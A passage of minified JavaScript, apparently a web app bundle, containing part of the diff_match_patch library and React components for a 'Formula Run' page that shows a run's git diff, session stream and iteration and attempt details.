t},r.prototype.patch_addContext_=function(n,t){if(t.length!=0){if(n.start2===null)throw Error("patch not initialized");for(var a=t.substring(n.start2,n.start2+n.length1),s=0;t.indexOf(a)!=t.lastIndexOf(a)&&a.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)s+=this.Patch_Margin,a=t.substring(n.start2-s,n.start2+n.length1+s);s+=this.Patch_Margin;var i=t.substring(n.start2-s,n.start2);i&&n.diffs.unshift(new r.Diff(0,i));var l=t.substring(n.start2+n.length1,n.start2+n.length1+s);l&&n.diffs.push(new r.Diff(0,l)),n.start1-=i.length,n.start2-=i.length,n.length1+=i.length+l.length,n.length2+=i.length+l.length}},r.prototype.patch_make=function(n,t,a){var s,i;if(typeof n=="string"&&typeof t=="string"&&a===void 0)s=n,(i=this.diff_main(s,t,!0)).length>2&&(this.diff_cleanupSemantic(i),this.diff_cleanupEfficiency(i));else if(n&&typeof n=="object"&&t===void 0&&a===void 0)i=n,s=this.diff_text1(i);else if(typeof n=="string"&&t&&typeof t=="object"&&a===void 0)s=n,i=t;else{if(typeof n!="string"||typeof t!="string"||!a||typeof a!="object")throw new Error("Unknown call format to patch_make.");s=n,i=a}if(i.length===0)return[];for(var l=[],o=new r.patch_obj,u=0,c=0,f=0,h=s,g=s,m=0;m<i.length;m++){var v=i[m][0],b=i[m][1];switch(u||v===0||(o.start1=c,o.start2=f),v){case 1:o.diffs[u++]=i[m],o.length2+=b.length,g=g.substring(0,f)+b+g.substring(f);break;case-1:o.length1+=b.length,o.diffs[u++]=i[m],g=g.substring(0,f)+g.substring(f+b.length);break;case 0:b.length<=2*this.Patch_Margin&&u&&i.length!=m+1?(o.diffs[u++]=i[m],o.length1+=b.length,o.length2+=b.length):b.length>=2*this.Patch_Margin&&u&&(this.patch_addContext_(o,h),l.push(o),o=new r.patch_obj,u=0,h=g,c=f)}v!==1&&(c+=b.length),v!==-1&&(f+=b.length)}return u&&(this.patch_addContext_(o,h),l.push(o)),l},r.prototype.patch_deepCopy=function(n){for(var t=[],a=0;a<n.length;a++){var s=n[a],i=new r.patch_obj;i.diffs=[];for(var l=0;l<s.diffs.length;l++)i.diffs[l]=new r.Diff(s.diffs[l][0],s.diffs[l][1]);i.start1=s.start1,i.start2=s.start2,i.length1=s.length1,i.length2=s.length2,t[a]=i}return t},r.prototype.patch_apply=function(n,t){if(n.length==0)return[t,[]];n=this.patch_deepCopy(n);var a=this.patch_addPadding(n);t=a+t+a,this.patch_splitMax(n);for(var s=0,i=[],l=0;l<n.length;l++){var o,u,c=n[l].start2+s,f=this.diff_text1(n[l].diffs),h=-1;if(f.length>this.Match_MaxBits?(o=this.match_main(t,f.substring(0,this.Match_MaxBits),c))!=-1&&((h=this.match_main(t,f.substring(f.length-this.Match_MaxBits),c+f.length-this.Match_MaxBits))==-1||o>=h)&&(o=-1):o=this.match_main(t,f,c),o==-1)i[l]=!1,s-=n[l].length2-n[l].length1;else if(i[l]=!0,s=o-c,f==(u=h==-1?t.substring(o,o+f.length):t.substring(o,h+this.Match_MaxBits)))t=t.substring(0,o)+this.diff_text2(n[l].diffs)+t.substring(o+f.length);else{var g=this.diff_main(f,u,!1);if(f.length>this.Match_MaxBits&&this.diff_levenshtein(g)/f.length>this.Patch_DeleteThreshold)i[l]=!1;else{this.diff_cleanupSemanticLossless(g);for(var m,v=0,b=0;b<n[l].diffs.length;b++){var p=n[l].diffs[b];p[0]!==0&&(m=this.diff_xIndex(g,v)),p[0]===1?t=t.substring(0,o+m)+p[1]+t.substring(o+m):p[0]===-1&&(t=t.substring(0,o+m)+t.substring(o+this.diff_xIndex(g,v+p[1].length))),p[0]!==-1&&(v+=p[1].length)}}}}return[t=t.substring(a.length,t.length-a.length),i]},r.prototype.patch_addPadding=function(n){for(var t=this.Patch_Margin,a="",s=1;s<=t;s++)a+=String.fromCharCode(s);for(s=0;s<n.length;s++)n[s].start1+=t,n[s].start2+=t;var i=n[0],l=i.diffs;if(l.length==0||l[0][0]!=0)l.unshift(new r.Diff(0,a)),i.start1-=t,i.start2-=t,i.length1+=t,i.length2+=t;else if(t>l[0][1].length){var o=t-l[0][1].length;l[0][1]=a.substring(l[0][1].length)+l[0][1],i.start1-=o,i.start2-=o,i.length1+=o,i.length2+=o}return(l=(i=n[n.length-1]).diffs).length==0||l[l.length-1][0]!=0?(l.push(new r.Diff(0,a)),i.length1+=t,i.length2+=t):t>l[l.length-1][1].length&&(o=t-l[l.length-1][1].length,l[l.length-1][1]+=a.substring(0,o),i.length1+=o,i.length2+=o),a},r.prototype.patch_splitMax=function(n){for(var t=this.Match_MaxBits,a=0;a<n.length;a++)if(!(n[a].length1<=t)){var s=n[a];n.splice(a--,1);for(var i=s.start1,l=s.start2,o="";s.diffs.length!==0;){var u=new r.patch_obj,c=!0;for(u.start1=i-o.length,u.start2=l-o.length,o!==""&&(u.length1=u.length2=o.length,u.diffs.push(new r.Diff(0,o)));s.diffs.length!==0&&u.length1<t-this.Patch_Margin;){var f=s.diffs[0][0],h=s.diffs[0][1];f===1?(u.length2+=h.length,l+=h.length,u.diffs.push(s.diffs.shift()),c=!1):f===-1&&u.diffs.length==1&&u.diffs[0][0]==0&&h.length>2*t?(u.length1+=h.length,i+=h.length,c=!1,u.diffs.push(new r.Diff(f,h)),s.diffs.shift()):(h=h.substring(0,t-u.length1-this.Patch_Margin),u.length1+=h.length,i+=h.length,f===0?(u.length2+=h.length,l+=h.length):c=!1,u.diffs.push(new r.Diff(f,h)),h==s.diffs[0][1]?s.diffs.shift():s.diffs[0][1]=s.diffs[0][1].substring(h.length))}o=(o=this.diff_text2(u.diffs)).substring(o.length-this.Patch_Margin);var g=this.diff_text1(s.diffs).substring(0,this.Patch_Margin);g!==""&&(u.length1+=g.length,u.length2+=g.length,u.diffs.length!==0&&u.diffs[u.diffs.length-1][0]===0?u.diffs[u.diffs.length-1][1]+=g:u.diffs.push(new r.Diff(0,g))),c||n.splice(++a,0,u)}}},r.prototype.patch_toText=function(n){for(var t=[],a=0;a<n.length;a++)t[a]=n[a];return t.join("")},r.prototype.patch_fromText=function(n){var t=[];if(!n)return t;for(var a=n.split(`
+`),s=0,i=/^@@ -(\d+),?(\d*) \+(\d+),?(\d*) @@$/;s<a.length;){var l=a[s].match(i);if(!l)throw new Error("Invalid patch string: "+a[s]);var o=new r.patch_obj;for(t.push(o),o.start1=parseInt(l[1],10),l[2]===""?(o.start1--,o.length1=1):l[2]=="0"?o.length1=0:(o.start1--,o.length1=parseInt(l[2],10)),o.start2=parseInt(l[3],10),l[4]===""?(o.start2--,o.length2=1):l[4]=="0"?o.length2=0:(o.start2--,o.length2=parseInt(l[4],10)),s++;s<a.length;){var u=a[s].charAt(0);try{var c=decodeURI(a[s].substring(1))}catch{throw new Error("Illegal escape in patch_fromText: "+c)}if(u=="-")o.diffs.push(new r.Diff(-1,c));else if(u=="+")o.diffs.push(new r.Diff(1,c));else if(u==" ")o.diffs.push(new r.Diff(0,c));else{if(u=="@")break;if(u!=="")throw new Error('Invalid patch mode "'+u+'" in: '+c)}s++}}return t},(r.patch_obj=function(){this.diffs=[],this.start1=null,this.start2=null,this.length1=0,this.length2=0}).prototype.toString=function(){for(var n,t=["@@ -"+(this.length1===0?this.start1+",0":this.length1==1?this.start1+1:this.start1+1+","+this.length1)+" +"+(this.length2===0?this.start2+",0":this.length2==1?this.start2+1:this.start2+1+","+this.length2)+` @@
+`],a=0;a<this.diffs.length;a++){switch(this.diffs[a][0]){case 1:n="+";break;case-1:n="-";break;case 0:n=" "}t[a+1]=n+encodeURI(this.diffs[a][1])+`
+`}return t.join("").replace(/%20/g," ")},e.exports=r,e.exports.diff_match_patch=r,e.exports.DIFF_DELETE=-1,e.exports.DIFF_INSERT=1,e.exports.DIFF_EQUAL=0}));gn.DIFF_EQUAL;gn.DIFF_DELETE;gn.DIFF_INSERT;function Ds({diff:e}){switch(e.kind){case"path_unknown":return d.jsxs("div",{className:"space-y-1",children:[d.jsx("p",{className:"text-body text-fg-muted italic",children:"No diff available for this run."}),d.jsx("p",{className:"text-label text-fg-faint",children:"The run did not record a work_dir, so there is no work tree to compare."})]});case"not_git":return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Execution folder is not a git work tree."});case"error":return d.jsx("p",{className:"text-body text-accent",role:"alert",children:e.error});case"ok":return d.jsx(Ts,{diff:e})}}function Ts({diff:e}){const r=j.useMemo(()=>Ms(e.patch),[e.patch]);return d.jsxs("section",{children:[d.jsxs("div",{className:"flex items-baseline justify-between gap-4 flex-wrap",children:[d.jsx("h3",{className:"text-body font-semibold text-fg",children:"Local Changes"}),d.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:[e.changedFiles.length," changed file",e.changedFiles.length===1?"":"s"]})]}),e.rootPath.kind==="known"&&d.jsx("p",{className:"mt-1 text-label text-fg-faint break-all",children:e.rootPath.path}),d.jsx("p",{className:"mt-2 text-label uppercase tracking-wider text-fg-muted",children:Rs(e.comparison)}),r.length===0?d.jsx("p",{className:"mt-5 text-body text-fg-muted italic",children:"No renderable patch in this work tree."}):d.jsx("div",{className:"formula-run-diff-view mt-5 space-y-3",children:r.map(n=>d.jsx(Os,{file:n},`${n.oldRevision}:${n.newRevision}:${pr(n)}`))}),e.truncated&&d.jsx("p",{className:"mt-3 text-label uppercase tracking-wider text-fg-faint",children:"Diff truncated at the backend output cap."})]})}function Os({file:e}){const r=Ps(e.hunks);return d.jsxs("details",{className:"border-y border-rule py-2",open:!0,children:[d.jsxs("summary",{className:"cursor-pointer list-none text-label uppercase tracking-wider text-fg-muted",children:[d.jsx("span",{className:"font-medium normal-case tracking-normal text-body text-fg",children:pr(e)}),d.jsxs("span",{className:"ml-3 tnum text-fg-faint",children:["+",r.additions," -",r.deletions]})]}),e.hunks.length===0||e.isBinary?d.jsx("p",{className:"mt-3 text-body text-fg-muted italic",children:"No textual hunks."}):d.jsx("div",{className:"mt-3 overflow-auto",children:d.jsx(Es,{viewType:"unified",diffType:e.type,hunks:e.hunks,renderGutter:Is,children:n=>n.map(t=>d.jsx(br,{hunk:t},$s(t)))})})]})}function Ms(e){if(e.trim().length===0)return[];try{return ct(e,{nearbySequences:"zip"})}catch{return[]}}function Is({change:e,side:r,renderDefault:n}){return e.type==="insert"&&r==="old"?d.jsx("span",{className:"diff-gutter-sign","aria-hidden":!0,children:"+"}):e.type==="delete"&&r==="new"?d.jsx("span",{className:"diff-gutter-sign","aria-hidden":!0,children:"-"}):n()}function Rs(e){return e.kind==="upstream"?`Compared with ${e.ref} at ${e.mergeBase.slice(0,12)}.`:e.kind==="head"&&e.reason==="no_upstream"?"No upstream branch is configured; showing changes relative to HEAD plus untracked files.":e.kind==="head"?"Upstream comparison failed; showing changes relative to HEAD plus untracked files.":"Comparison unavailable."}function pr(e){const r=Un(e.oldPath),n=Un(e.newPath);return e.type==="delete"?r:e.type==="rename"&&r!==n?`${r} -> ${n}`:n||r}function Un(e){return e.replace(/^[ab]\//,"")}function Ps(e){let r=0,n=0;for(const t of e)for(const a of t.changes)a.type==="insert"&&(r+=1),a.type==="delete"&&(n+=1);return{additions:r,deletions:n}}function $s(e){return`${e.oldStart}:${e.newStart}:${e.content}`}function Fs({node:e,visible:r}){const n=j.useMemo(()=>e?.executionInstances.sort(wr)??[],[e]),t=j.useMemo(()=>Ls(e?.visibleExecutionInstanceId,n),[e?.visibleExecutionInstanceId,n]),[a,s]=j.useState(null);if(j.useEffect(()=>{s(t?z(t):null)},[e?.id,t]),!e)return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Select a node to inspect its session."});if(n.length===0)return d.jsx("p",{className:"text-body text-fg-muted italic",children:zn(e)});const i=n.find(c=>z(c)===a)??t??n[0],l=i?pe(i):"base",o=Us(n),u=n.filter(c=>pe(c)===l);return i?d.jsxs("section",{children:[d.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[d.jsx("h3",{className:"text-body font-semibold text-fg",children:e.title}),(e.historicalOnly||i?.historical)&&d.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint",children:e.historicalOnly?"historical-only":"historical"})]}),o.length>1&&d.jsxs("div",{className:"mt-3 flex flex-wrap items-baseline gap-x-2 gap-y-1 text-label",role:"radiogroup","aria-label":"Iterations",children:[d.jsx("span",{className:"uppercase tracking-wider text-fg-faint",children:"Iterations"}),o.map(c=>{const f=c.instances.at(-1);if(!f)return null;const h=c.iteration==="base"?"Base":`Iteration ${c.iteration}`,g=c.iteration===l;return d.jsxs("span",{className:"flex items-baseline gap-1",children:[d.jsx("span",{"aria-hidden":!0,className:"text-fg-faint",children:"·"}),d.jsx("button",{type:"button",role:"radio","aria-checked":g,className:`focus-mark rounded-sm px-0.5 uppercase tracking-wider ${g?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,onClick:()=>s(z(f)),children:h})]},h)})]}),u.length>1&&d.jsxs("div",{className:"mt-2 flex flex-wrap items-baseline gap-x-2 gap-y-1 text-label",role:"radiogroup","aria-label":"Attempts",children:[d.jsx("span",{className:"uppercase tracking-wider text-fg-faint",children:"Attempts"}),u.map(c=>d.jsxs("span",{className:"flex items-baseline gap-1",children:[d.jsx("span",{"aria-hidden":!0,className:"text-fg-faint",children:"·"}),d.jsxs("button",{type:"button",role:"radio","aria-checked":z(c)===z(i),className:`focus-mark rounded-sm px-0.5 uppercase tracking-wider ${z(c)===z(i)?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,onClick:()=>s(z(c)),children:["Attempt ",qe(c)]})]},z(c)))]}),d.jsxs("dl",{className:"mt-4 grid grid-cols-[max-content_minmax(0,1fr)] gap-x-3 gap-y-1 text-label",children:[d.jsx("dt",{className:"uppercase tracking-wider text-fg-faint",children:"Execution instance"}),d.jsx("dd",{className:"break-all text-fg-muted tnum",children:i.id}),d.jsx("dt",{className:"uppercase tracking-wider text-fg-faint",children:"Bead"}),d.jsx("dd",{className:"break-all text-fg-muted tnum",children:i.beadId})]}),d.jsx(Bs,{instance:i,visible:r})]}):d.jsx("p",{className:"text-body text-fg-muted italic",children:zn(e)})}function Bs({instance:e,visible:r}){const n=e.session.kind==="attached"?e.session:null,t=n?.link.sessionId??null,a=r&&!!n?.streamable,s=zr(t,a);if(n===null)return d.jsx("p",{className:"mt-5 text-body text-fg-muted italic",children:xs(e)});const i=Gs(s.stream),l=s.status==="loading",o=s.status==="ready"?s.result:null,u=s.status==="failed"?s.error:null,c=s.status==="ready"&&s.stream.status==="degraded"?s.stream.error:null;return d.jsxs("div",{className:"mt-5 space-y-4",children:[n?.streamable&&d.jsx("div",{className:"flex justify-end",children:d.jsx(Er,{tone:i.tone,label:i.label,title:`Session stream: ${s.stream.status}`,className:"text-label uppercase tracking-wider"})}),c!==null&&d.jsx("p",{className:"text-accent",role:"alert",children:c}),d.jsx(Kr,{loading:l,error:u,result:o})]})}function Gs(e){switch(e.status){case"open":return{tone:"ok",label:"live"};case"connecting":return{tone:"warn",label:"connecting"};case"closed":return{tone:"stuck",label:"offline"};case"degraded":return{tone:"warn",label:"degraded"};case"idle":return{tone:"neutral",label:"snapshot"}}}function zn(e){const r=e.executionInstances.filter(t=>t.session.kind==="none");return r.some(t=>t.currentIteration&&t.session.kind==="none"&&t.session.reason==="session_unresolved"&&yr(t.status))?"Session unresolved for the current running node.":r.some(t=>t.session.kind==="none"&&t.session.reason==="session_unresolved")?"Session unresolved for this node.":"This node has not started a session yet."}function xs(e){return e.session.kind==="attached"?"":e.currentIteration&&e.session.reason==="session_unresolved"&&yr(e.status)?"Session unresolved for the current running node.":e.session.reason==="session_unresolved"?"Session unresolved for this node.":"This node has not started a session yet."}function yr(e){return e==="active"||e==="running"}function Ls(e,r){return(e?r.find(t=>z(t)===e):void 0)??r.at(-1)}function Us(e){const r=new Map;for(const n of e){const t=pe(n);r.set(t,[...r.get(t)??[],n])}return[...r.entries()].map(([n,t])=>({iteration:n,instances:t.sort(wr)})).sort((n,t)=>Oe(n.iteration)-Oe(t.iteration))}function wr(e,r){return Oe(pe(e))-Oe(pe(r))||qe(e)-qe(r)||e.id.localeCompare(r.id)}function z(e){return e.id}function pe(e){return e.iteration.kind==="loop"?e.iteration.value:"base"}function Oe(e){return e==="base"?0:e}function qe(e){return e.attempt.kind==="attempt"?e.attempt.value:1}function zs({tab:e,diff:r,selectedNode:n}){return e==="session"?d.jsx(Fs,{node:n,visible:!0}):d.jsx(Ks,{diff:r})}function Ks({diff:e}){switch(e.kind){case"idle":return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Local changes are not loaded for this run."});case"loading":return d.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading local changes."});case"failed":return d.jsx("p",{className:"text-body text-accent",role:"alert",children:e.error});case"ready":return d.jsxs(d.Fragment,{children:[e.refreshState.kind==="failed"&&d.jsx("p",{className:"mb-4 text-body text-accent",role:"alert",children:e.refreshState.error}),e.refreshState.kind==="refreshing"&&d.jsx("p",{className:"mb-4 text-label uppercase tracking-wider text-fg-faint",role:"status",children:"Refreshing local changes"}),d.jsx(Ds,{diff:e.diff})]})}}function Hs({diff:e,selectedNode:r,activeTab:n,onActiveTabChange:t}){const[a,s]=j.useState("diff"),i=n!==void 0&&t!==void 0,l=i?n:a,o=c=>{i?t(c):s(c)},u=`run-evidence-tab-${l}`;return d.jsxs("section",{"aria-label":"Run evidence",children:[d.jsxs("div",{className:"flex items-baseline gap-2 text-label",role:"tablist","aria-label":"Run evidence views",children:[d.jsx(Kn,{id:"run-evidence-tab-diff",controls:"run-evidence-panel",active:l==="diff",onClick:()=>o("diff"),children:"Diff"}),d.jsx("span",{"aria-hidden":!0,className:"text-fg-faint",children:"·"}),d.jsx(Kn,{id:"run-evidence-tab-session",controls:"run-evidence-panel",active:l==="session",onClick:()=>o("session"),children:"Session"})]}),d.jsx("div",{id:"run-evidence-panel",role:"tabpanel","aria-labelledby":u,className:"pt-5",children:d.jsx(zs,{tab:l,diff:e,selectedNode:r})})]})}function Kn({id:e,controls:r,active:n,disabled:t=!1,onClick:a,children:s}){return d.jsx("button",{id:e,type:"button",role:"tab","aria-selected":n,"aria-controls":r,"aria-disabled":t||void 0,disabled:t,className:`focus-mark rounded-sm px-0.5 uppercase tracking-wider ${t?"cursor-not-allowed text-fg-faint":n?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,onClick:a,children:s})}function Vs(e,r){const n=e.runIds.size===0||e.runIds.has(r.runId),t=e.rootBeadIds.size===0||e.rootBeadIds.has(r.rootBeadId);return n&&t}function Ws(e){const r={runIds:new Set,rootBeadIds:new Set};return Y(e,r),Y(P(e.run),r),Y(P(e.payload),r),Y(P(P(e.payload)?.run),r),Y(P(e.bead),r),Y(P(P(e.payload)?.bead),r),Y(P(e.root),r),Y(P(P(e.payload)?.root),r),en(P(e.metadata),r),en(P(P(e.payload)?.metadata),r),r}function Y(e,r){e&&(H(r.runIds,e.run_id),H(r.runIds,e.workflow_id),H(r.rootBeadIds,e.root_bead_id),en(P(e.metadata),r))}function en(e,r){e&&(H(r.runIds,e["gc.run_id"]),H(r.runIds,e["gc.workflow_id"]),H(r.runIds,e.run_id),H(r.runIds,e.workflow_id),H(r.rootBeadIds,e["gc.root_bead_id"]),H(r.rootBeadIds,e.root_bead_id))}function H(e,r){if(typeof r!="string")return;const n=r.trim();n&&e.add(n)}function P(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)?e:void 0}function Xs(e,r,n){const[t,a]=j.useState({nodeId:null,routeKey:"",source:"route"});j.useEffect(()=>{if(!e)return;const u=Zs(e,r);a(c=>c.routeKey===n&&(c.source==="user"||c.nodeId===u)?c:{nodeId:u,routeKey:n,source:"route"})},[e,n,r]);const s=j.useCallback(()=>{a(u=>({nodeId:null,routeKey:u.routeKey,source:"user"}))},[]);j.useEffect(()=>{const u=c=>{c.key==="Escape"&&s()};return window.addEventListener("keydown",u),()=>window.removeEventListener("keydown",u)},[s]);const i=j.useCallback(u=>{a(c=>({nodeId:c.nodeId===u?null:u,routeKey:n,source:"user"}))},[n]),l=t.nodeId,o=j.useMemo(()=>e?.nodes.find(u=>u.id===l)??null,[e,l]);return{selectedNodeId:l,selectedNode:o,toggleNode:i,clearSelection:s}}function Zs(e,r){return r&&e.nodes.some(n=>n.id===r)?r:null}const Ys=[600,1200,2400];async function Js(e){for(let r=0;;r+=1)try{return await Me.runDetail(e)}catch(n){const t=Ys[r];if(t!==void 0&&Qs(n)){await qs(t);continue}throw n}}function Qs(e){return e instanceof Ke?e.status>=500:e instanceof TypeError}function qs(e){return new Promise(r=>setTimeout(r,e))}function ei(e,r,n,t,a){const[s,i]=j.useState("unavailable"),l=j.useRef(n);l.current=n;const o=j.useRef(!1),u=_r(e,t,a);return j.useEffect(()=>{if(o.current=!1,!e||!r||typeof EventSource>"u"){i("unavailable");return}let c=!1;i("connecting");const f=new EventSource(Me.runDetailStreamUrl(e),{withCredentials:!0});f.onopen=()=>{c||i("open")};const h=g=>{if(c)return;const m=ni(g.data,e,o);m!==null&&(Dr(u,{kind:"loaded",detail:m}),l.current?.(m,u),i("open"))};return f.addEventListener("detail",h),f.onerror=()=>{c||i(f.readyState===EventSource.CLOSED?"closed":"connecting")},()=>{c=!0,f.close()}},[e,r,u]),s}function ni(e,r,n){let t;try{t=JSON.parse(e)}catch(a){return Hn(r,n,a),null}try{return Tr(t,Me.runDetailStreamUrl(r))}catch(a){return Hn(r,n,a),null}}function Hn(e,r,n){r.current||(r.current=!0,nn({component:"formula-run-detail-stream",operation:"parse stream frame",message:`${e}: ${rn(n)}`}))}function ri(e,r,n){const t=_r(e,r,n),{data:a,loading:s,error:i,refresh:l}=Xn(t,()=>ti(e),{onError:p=>{e!==void 0&&ii("load detail",e,p)}}),[o,u]=j.useState(null),c=j.useCallback((p,w)=>u({key:w,detail:p}),[]),f=e!==void 0&&a?.kind!=="unsupported"&&a?.kind!=="not_found",h=ei(e,f,c,r,n),g=o?.key===t?o.detail:null,m=h==="open"||h==="connecting",v=j.useCallback(async()=>{u(null),await l()},[l]);if(e===void 0)return{kind:"idle",refresh:ai,streamActive:m};const b=g??(a?.kind==="loaded"?a.detail:null);return b!==null?{kind:"ready",detail:b,refresh:v,refreshState:si(s,i),streamActive:m}:a?.kind==="unsupported"?{kind:"unsupported",refresh:v,streamActive:m}:a?.kind==="not_found"?{kind:"not_found",refresh:v,streamActive:m}:i!==null?{kind:"failed",error:i,refresh:v,streamActive:m}:{kind:"loading",refresh:v,streamActive:m}}async function ti(e){if(!e)return{kind:"unrequested"};try{return{kind:"loaded",detail:await Js(e)}}catch(r){if(r instanceof Ke&&r.status===422&&r.reason==="not_run_view")return{kind:"unsupported"};if(r instanceof Ke&&r.status===404)return{kind:"not_found"};throw r}}async function ai(){}function si(e,r){return r!==null?{kind:"failed",error:r}:e?{kind:"refreshing"}:{kind:"idle"}}function ii(e,r,n){nn({component:"formula-run-detail",operation:e,message:`${r}: ${rn(n)}`})}function _r(e,r,n){return["formula-run",e??"missing",r??"default",n??"default"].map(encodeURIComponent).join(":")}function oi(e,r,n,t){const a=ci(e,r,n,t),{data:s,loading:i,error:l,refresh:o,cheapRefresh:u}=Xn(a,()=>ze(e,r,n,t),{refreshFetcher:()=>ze(e,r,n,t,!0),sseRefreshFetcher:()=>ze(e,r,n,t,!1),onError:c=>{e!==void 0&&ui("load diff",e,c)}});return e===void 0||r===void 0?{kind:"idle",refresh:Vn,cheapRefresh:Vn}:s?.kind==="loaded"?{kind:"ready",diff:s.diff,refresh:o,cheapRefresh:u,refreshState:li(i,l)}:l!==null?{kind:"failed",error:l,refresh:o,cheapRefresh:u}:{kind:"loading",refresh:o,cheapRefresh:u}}async function ze(e,r,n,t,a){if(!e||r===void 0)return{kind:"unrequested"};const s={};return n!==void 0&&(s.scopeKind=n),t!==void 0&&(s.scopeRef=t),a&&(s.refresh=!0),{kind:"loaded",diff:await Me.runDiff(e,{executionPath:r},s)}}async function Vn(){}function li(e,r){return r!==null?{kind:"failed",error:r}:e?{kind:"refreshing"}:{kind:"idle"}}function ui(e,r,n){nn({component:"formula-run-detail",operation:e,message:`${r}: ${rn(n)}`})}function ci(e,r,n,t){return["formula-run-diff",e??"missing",fi(r),n??"default",t??"default"].join(":")}function fi(e){return e===void 0?"path:missing":e.kind==="known"?`path:${e.path}`:`path:${e.reason}`}const di=[yn.bead,yn.session],hi=[];function Fi(){const{runId:e}=Or(),[r]=Mr(),n=Ci(r),t=n.ok?n.scope:void 0,a=n.ok?null:n.error,s=r.get("node"),i=[e??"",t?.scopeKind??"",t?.scopeRef??"",s??""].join("\0"),l=ri(a?void 0:e,t?.scopeKind,t?.scopeRef),o=l.kind==="ready"?l:null,u=o?.detail??null,c=l.kind==="unsupported",f=l.kind==="not_found",h=oi(a||u===null?void 0:e,u?.executionPath,t?.scopeKind,t?.scopeRef),g=l.kind==="loading",m=o!==null&&o.refreshState.kind==="refreshing"||h.kind==="ready"&&h.refreshState.kind==="refreshing",v=u!==null&&h.kind==="loading",b=g||m||v,p=l.kind==="failed"?l.error:o!==null&&o.refreshState.kind==="failed"?o.refreshState.error:null,[w,y]=j.useState("diff"),_=w==="diff",N=l.streamActive;Ir(a?hi:di,()=>{gi(N,_,l.refresh,h.cheapRefresh)},{matches:I=>{if(u===null)return!1;const U=Ws(I);return u.progress.terminal&&vi(U)?!1:Vs(U,{runId:u.runId,rootBeadId:u.rootBeadId})}});const C=j.useRef(h.cheapRefresh);C.current=h.cheapRefresh;const S=j.useRef(_);j.useEffect(()=>{const I=S.current;S.current=_,_&&!I&&C.current()},[_]);const A=j.useCallback(I=>y(I),[]),k=a??p,{selectedNodeId:E,selectedNode:D,toggleNode:G}=Xs(u,s,i),T=xr(u?.rootBeadId??null),[$,B]=j.useState(null),X=Rr(),Z=Br(),[L]=j.useState(()=>Pr(`runs:summary:${Z??"no-city"}`)),q=j.useMemo(()=>{if(!e)return null;const I=L&&L.status!=="error"?L.data:null;return I==null?null:[...I.lanes,...I.blockedLanes].find(U=>U.id===e)??null},[L,e]),Be=u?`${u.progress.visibleNodeCount} nodes. ${Ai(u.progress)}. Local changes are shown for the run execution folder.`:g&&!a||c||f?void 0:"Formula run unavailable.";return d.jsxs("section",{children:[d.jsx(Gr,{title:u?.title??"Formula Run",synopsis:Be,meta:d.jsxs(d.Fragment,{children:[d.jsx($r,{to:"/runs",className:"focus-mark text-label uppercase tracking-wider text-fg-muted hover:text-fg",children:"Runs"}),k&&u&&d.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:k}),u&&d.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:yi(u)}),d.jsx(Fr,{size:"sm",onClick:()=>{Nr(l.refresh,h.refresh)},disabled:b||!!a,children:m?"Refreshing":"Refresh"})]})}),b&&!a&&!u?q?d.jsxs(d.Fragment,{children:[d.jsx(wn,{stages:q.stages,label:q.title}),d.jsx("p",{className:"text-body text-fg-muted italic mt-8",children:"Loading run detail."})]}):d.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading formula run."}):c?d.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"Detailed step view isn’t available for this run (v1/wisp runs are list-only) — this run appears in the run list only."}):f?d.jsx("p",{className:"text-body text-fg-muted",role:"status",children:"This run’s detail snapshot was not found. It may be a v1/wisp run, a completed run whose snapshot wasn’t retained, or no longer available."}):k&&!u?d.jsx("p",{className:"text-body text-accent",role:"alert",children:k}):o?d.jsxs(d.Fragment,{children:[d.jsx(bi,{detail:o.detail}),d.jsx(wn,{stages:o.detail.stages,label:o.detail.title}),d.jsx(_i,{detail:o.detail}),d.jsxs("div",{className:"mt-8 grid gap-10 lg:grid-cols-[minmax(0,0.95fr)_minmax(22rem,1.05fr)]",children:[d.jsx(Qr,{detail:o.detail,selectedNodeId:E,onToggleNode:G}),d.jsx(Hs,{diff:h,selectedNode:D,activeTab:w,onActiveTabChange:A})]}),d.jsx(Lr,{view:T.view,loading:T.loading,error:T.error,now:X,onOpenBead:B}),d.jsx(Ur,{open:$!==null,onClose:()=>B(null),beadId:$,onOpenBead:B})]}):null]})}async function Nr(e,r){await Promise.all([e(),r()])}function gi(e,r,n,t){const a=r?t:mi;return e?a():Nr(n,a)}async function mi(){}function vi(e){return e.runIds.size===0&&e.rootBeadIds.size===0}function bi({detail:e}){const r=wi(e.formulaDetail);return d.jsxs("dl",{className:"grid gap-x-8 gap-y-3 sm:grid-cols-2 lg:grid-cols-4",children:[d.jsx(pi,{formula:e.formula}),r!==null&&d.jsx(ue,{label:"Formula Detail",value:r}),d.jsx(ue,{label:"Root",value:e.rootBeadId}),d.jsx(ue,{label:"Scope",value:`${e.scopeKind}:${e.scopeRef}`}),d.jsx(ue,{label:"Store",value:e.resolvedRootStore||e.rootStoreRef||"unknown"})]})}function ue({label:e,value:r}){return d.jsxs("div",{children:[d.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint",children:e}),d.jsx("dd",{className:"text-body text-fg break-all tnum",children:r})]})}const Wn="name inferred from bead title — supervisor did not set gc.formula on this graph.v2 root";function pi({formula:e}){if(e.kind!=="known")return d.jsx(ue,{label:"Formula",value:"metadata missing"});switch(e.source){case"metadata":return d.jsx(ue,{label:"Formula",value:e.name});case"title_fallback":return d.jsxs("div",{children:[d.jsx("dt",{className:"text-label uppercase tracking-wider text-fg-faint",children:"Formula"}),d.jsxs("dd",{className:"text-body text-warn break-all tnum",title:Wn,"aria-label":`${e.name} (${Wn})`,children:[e.name,d.jsx("span",{className:"ml-2 text-label uppercase tracking-wider text-warn",children:"inferred from bead title"})]})]});default:return e.source}}function yi(e){return e.snapshotEventSeq.kind==="known"?`v${e.snapshotVersion} · seq 